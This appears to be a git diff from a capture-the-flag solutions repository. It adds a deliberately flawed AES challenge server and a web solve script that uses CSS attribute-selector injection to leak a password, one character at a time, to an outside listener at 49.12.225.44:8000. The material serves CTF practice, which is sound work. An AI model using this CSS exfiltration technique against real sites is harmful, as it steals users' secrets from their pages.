diff --git a/.DS_Store b/.DS_Store
index 1b5ff76..098777e 100644
Binary files a/.DS_Store and b/.DS_Store differ
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..bc51b40
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,2 @@
+
+htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/challenge/
diff --git a/catthegrey24/.DS_Store b/catthegrey24/.DS_Store
new file mode 100644
index 0000000..90dd1ab
Binary files /dev/null and b/catthegrey24/.DS_Store differ
diff --git a/catthegrey24/crypto/filter_ciphertext/.gitignore b/catthegrey24/crypto/filter_ciphertext/.gitignore
new file mode 100644
index 0000000..21d0b89
--- /dev/null
+++ b/catthegrey24/crypto/filter_ciphertext/.gitignore
@@ -0,0 +1 @@
+.venv/
diff --git a/catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py b/catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py
new file mode 100644
index 0000000..4796eab
--- /dev/null
+++ b/catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py
@@ -0,0 +1,77 @@
+from Crypto.Cipher import AES
+import os
+
+with open("flag.txt", "r") as f:
+    flag = f.read()
+
+BLOCK_SIZE = 16
+iv = os.urandom(BLOCK_SIZE)
+
+xor = lambda x, y: bytes(a^b for a,b in zip(x,y))
+
+key = os.urandom(16)
+
+def encrypt(pt):
+    cipher = AES.new(key=key, mode=AES.MODE_ECB)
+    blocks = [pt[i:i+BLOCK_SIZE] for i in range(0, len(pt), BLOCK_SIZE)]
+    tmp = iv
+    ret = b""
+    
+    for block in blocks:
+        res = cipher.encrypt(xor(block, tmp))
+        ret += res
+        tmp = xor(block, res)
+        
+    return ret
+
+    
+def decrypt(ct):
+    cipher = AES.new(key=key, mode=AES.MODE_ECB)
+    blocks = [ct[i:i+BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)]
+
+    for block in blocks:
+        if block in secret_enc:
+            blocks.remove(block)
+    
+    tmp = iv
+    ret = b""
+    
+    for block in blocks:
+        res = xor(cipher.decrypt(block), tmp)
+        ret += res
+        tmp = xor(block, res)
+    
+    return ret
+    
+secret = os.urandom(80)
+secret_enc = encrypt(secret)
+
+print(f"Encrypted secret: {secret_enc.hex()}")
+
+print("Enter messages to decrypt (in hex): ")
+
+while True:
+    res = input("> ")
+
+    try:
+        enc = bytes.fromhex(res)
+
+        if (enc == secret_enc):
+            print("Nice try.")
+            continue
+        
+        dec = decrypt(enc)
+        if (dec == secret):
+            print(f"Wow! Here's the flag: {flag}")
+            break
+
+        else:
+            print(dec.hex())
+        
+    except Exception as e:
+        print(e)
+        continue
+
+    
+
+
diff --git a/catthegrey24/web/.DS_Store b/catthegrey24/web/.DS_Store
new file mode 100644
index 0000000..4cb665c
Binary files /dev/null and b/catthegrey24/web/.DS_Store differ
diff --git a/catthegrey24/web/beautiful_styles/.gitignore b/catthegrey24/web/beautiful_styles/.gitignore
new file mode 100644
index 0000000..691037e
--- /dev/null
+++ b/catthegrey24/web/beautiful_styles/.gitignore
@@ -0,0 +1 @@
+.venv/*
diff --git a/catthegrey24/web/beautiful_styles/enumeration.py b/catthegrey24/web/beautiful_styles/enumeration.py
new file mode 100644
index 0000000..eedbdcd
--- /dev/null
+++ b/catthegrey24/web/beautiful_styles/enumeration.py
@@ -0,0 +1,51 @@
+import string
+import requests
+import re
+from http.server import BaseHTTPRequestHandler, HTTPServer
+from urllib.parse import unquote
+
+
+chars = string.ascii_uppercase + string.digits + "f"
+url = "http://challs2.nusgreyhats.org:33339"
+headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+
+class LeakHandler(BaseHTTPRequestHandler):
+    def do_GET(self):
+        print("Got GET request")
+        leaked_password = unquote(self.path.split("/")[-1])
+        print(f"Password: {leaked_password}")
+        self.send_response(200)
+        self.end_headers()
+        self.wfile.write(b"exploiting in progress")
+        print("Next round")
+        leak_char(leaked_password)
+
+
+def generate_css_input(leaked_password):
+    css_input = ""
+
+    for a in chars:
+        css_input += f'input[id="flag"][value^="{leaked_password + a}"]{{background-image: url(http://49.12.225.44:8000/{leaked_password + a});}}'
+
+    return css_input
+
+
+def leak_char(leaked_password):
+    css_input = generate_css_input(leaked_password)
+    print("Leaking character")
+    with requests.post(
+        f"{url}/submit", data={"css_value": css_input}, headers=headers
+    ) as r:
+        match = re.search(r"/judge/([a-zA-Z0-9-]+)", r.text)
+        if match:
+            id_value = match.group(1)
+            print("Found ID:", id_value)
+            r = requests.post(f"http://challs2.nusgreyhats.org:33339/judge/{id_value}")
+            print(r.text)
+        else:
+            print("error")
+
+
+httpd = HTTPServer(("0.0.0.0", 8000), LeakHandler)
+httpd.serve_forever()
diff --git a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh
index e10e147..6f567d7 100755
--- a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh
+++ b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh
@@ -1,3 +1,3 @@
 #!/bin/sh
 docker build --tag=sound_of_silence .
-docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence
+docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence
\ No newline at end of file